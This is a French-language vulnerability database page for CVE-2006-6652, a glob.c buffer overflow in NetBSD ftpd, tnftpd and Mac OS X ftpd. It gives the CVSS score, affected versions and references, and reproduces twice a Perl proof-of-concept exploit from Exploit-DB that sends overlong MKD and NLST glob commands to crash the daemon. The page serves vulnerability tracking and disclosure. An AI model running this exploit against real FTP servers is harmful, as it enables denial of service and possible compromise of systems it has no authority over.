CVE-2006-6652 : Détail

CVE-2006-6652

Overflow
32.53%V4
Network
2006-12-20
01h00 +00:00
2017-07-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer overflow in the glob implementation (glob.c) in libc in NetBSD-current before 20050914, NetBSD 2.* and 3.* before 20061203, and Apple Mac OS X before 2007-004, as used by the FTP daemon and tnftpd, allows remote authenticated users to execute arbitrary code via a long pathname that results from path expansion.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 2874

Date de publication : 2006-11-29 23h00 +00:00
Auteur : kingcope
EDB Vérifié : Yes

#!perl # $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$ # # About # # tnftpd is a port of the NetBSD FTP server to other systems. # It offers many enhancements over the traditional BSD ftpd, # including per-class configuration directives via ftpd.conf(5), # RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6, # transfer rate throttling, and more. # tnftpd was formerly known as lukemftpd, # and earlier versions are present in Mac OS X 10.2 (as ftpd) # and FreeBSD 5.0 (as lukemftpd). # # Description # # The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun, # which can lead to a root compromise. # # The bug is in glob.c file. The globbing mechanism is flawed as back in # 2001. # # To trigger the overflow you can create a folder and use the globbing # special characters (like STARS) to overflow an internal stack based buffer. # # gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 : # (gdb) c # Continuing. # # Program received signal SIGSEGV, Segmentation fault. # 0x00410041 in ?? () # (gdb) # # tnftpd-20040810 behaves similar. # FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested, # however they could have the same bug, because of the same # codebase. # # The problem when exploiting this kind of bug is, # that we can only control 0x00410041, not the whole # 32 bit. However it looks feasible to find a way # to do a hole EIP redirection and/or exploit # the bug the "unicode" way, which could be especially # hard on BSD systems. # kcope use IO::Socket; $sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10', PeerPort => '21', Proto => 'tcp'); $c = "C"; $a = "C" x 255; $d = "A" x 450; print $sock "USER kcope\r\n"; print $sock "PASS remoteroot\r\n"; $x = <stdin>; print $sock "MKD $a\r\n"; print $sock "NLST C*/../C*/../C*/../$d\r\n"; print $sock "QUIT\r\n"; while (<$sock>) { print; } # milw0rm.com [2006-11-30]
Exploit Database EDB-ID : 29204

Date de publication : 2006-11-30 23h00 +00:00
Auteur : kcope
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/21377/info NetBSD ftpd and tnftpd are prone to a remote buffer-overflow vulnerability. This issue is due to an off-by-one error; it allows attackers to corrupt memory. Remote attackers may execute arbitrary machine code in the context of the user running the affected application. Failed attempts will likely result in denial-of-service conditions. #!perl # $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$ # # About # # tnftpd is a port of the NetBSD FTP server to other systems. # It offers many enhancements over the traditional BSD ftpd, # including per-class configuration directives via ftpd.conf(5), # RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6, # transfer rate throttling, and more. # tnftpd was formerly known as lukemftpd, # and earlier versions are present in Mac OS X 10.2 (as ftpd) # and FreeBSD 5.0 (as lukemftpd). # # Description # # The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun, # which can lead to a root compromise. # # The bug is in glob.c file. The globbing mechanism is flawed as back in # 2001. # # To trigger the overflow you can create a folder and use the globbing # special characters (like STARS) to overflow an internal stack based buffer. # # gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 : # (gdb) c # Continuing. # # Program received signal SIGSEGV, Segmentation fault. # 0x00410041 in ?? () # (gdb) # # tnftpd-20040810 behaves similar. # FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested, # however they could have the same bug, because of the same # codebase. # # The problem when exploiting this kind of bug is, # that we can only control 0x00410041, not the whole # 32 bit. However it looks feasible to find a way # to do a hole EIP redirection and/or exploit # the bug the "unicode" way, which could be especially # hard on BSD systems. # kcope use IO::Socket; $sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10', PeerPort => '21', Proto => 'tcp'); $c = "C"; $a = "C" x 255; $d = "A" x 450; print $sock "USER kcope\r\n"; print $sock "PASS remoteroot\r\n"; $x = ; print $sock "MKD $a\r\n"; print $sock "NLST C*/../C*/../C*/../$d\r\n"; print $sock "QUIT\r\n"; while (<$sock>) { print; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version 10.0

Apple>>Mac_os_x >> Version 10.0.1

Apple>>Mac_os_x >> Version 10.0.2

Apple>>Mac_os_x >> Version 10.0.3

Apple>>Mac_os_x >> Version 10.0.4

Apple>>Mac_os_x >> Version 10.1

Apple>>Mac_os_x >> Version 10.1.1

Apple>>Mac_os_x >> Version 10.1.2

Apple>>Mac_os_x >> Version 10.1.3

Apple>>Mac_os_x >> Version 10.1.4

Apple>>Mac_os_x >> Version 10.1.5

Apple>>Mac_os_x >> Version 10.2

Apple>>Mac_os_x >> Version 10.2.1

Apple>>Mac_os_x >> Version 10.2.2

Apple>>Mac_os_x >> Version 10.2.3

Apple>>Mac_os_x >> Version 10.2.4

Apple>>Mac_os_x >> Version 10.2.5

Apple>>Mac_os_x >> Version 10.2.6

Apple>>Mac_os_x >> Version 10.2.7

Apple>>Mac_os_x >> Version 10.2.8

Apple>>Mac_os_x >> Version 10.3

Apple>>Mac_os_x >> Version 10.3.1

Apple>>Mac_os_x >> Version 10.3.2

Apple>>Mac_os_x >> Version 10.3.3

Apple>>Mac_os_x >> Version 10.3.4

Apple>>Mac_os_x >> Version 10.3.5

Apple>>Mac_os_x >> Version 10.3.6

Apple>>Mac_os_x >> Version 10.3.7

Apple>>Mac_os_x >> Version 10.3.8

Apple>>Mac_os_x >> Version 10.3.9

Apple>>Mac_os_x >> Version 10.4

Apple>>Mac_os_x >> Version 10.4.1

Apple>>Mac_os_x >> Version 10.4.2

Apple>>Mac_os_x >> Version 10.4.3

Apple>>Mac_os_x >> Version 10.4.4

Apple>>Mac_os_x >> Version 10.4.5

Apple>>Mac_os_x >> Version 10.4.6

Apple>>Mac_os_x >> Version 10.4.7

Apple>>Mac_os_x >> Version 10.4.8

Apple>>Mac_os_x >> Version 10.4.9

Apple>>Mac_os_x >> Version 10.4.10

Configuraton 0

Netbsd>>Netbsd >> Version 2.0

Netbsd>>Netbsd >> Version 2.1

Netbsd>>Netbsd >> Version 3.0

Netbsd>>Netbsd >> Version 3.1

Références

http://secunia.com/advisories/24966
Tags : third-party-advisory, x_refsource_SECUNIA
http://securitytracker.com/id?1017386
Tags : vdb-entry, x_refsource_SECTRACK
http://www.osvdb.org/31781
Tags : vdb-entry, x_refsource_OSVDB
http://www.us-cert.gov/cas/techalerts/TA07-109A.html
Tags : third-party-advisory, x_refsource_CERT
http://secunia.com/advisories/23178
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/21377
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2007/1470
Tags : vdb-entry, x_refsource_VUPEN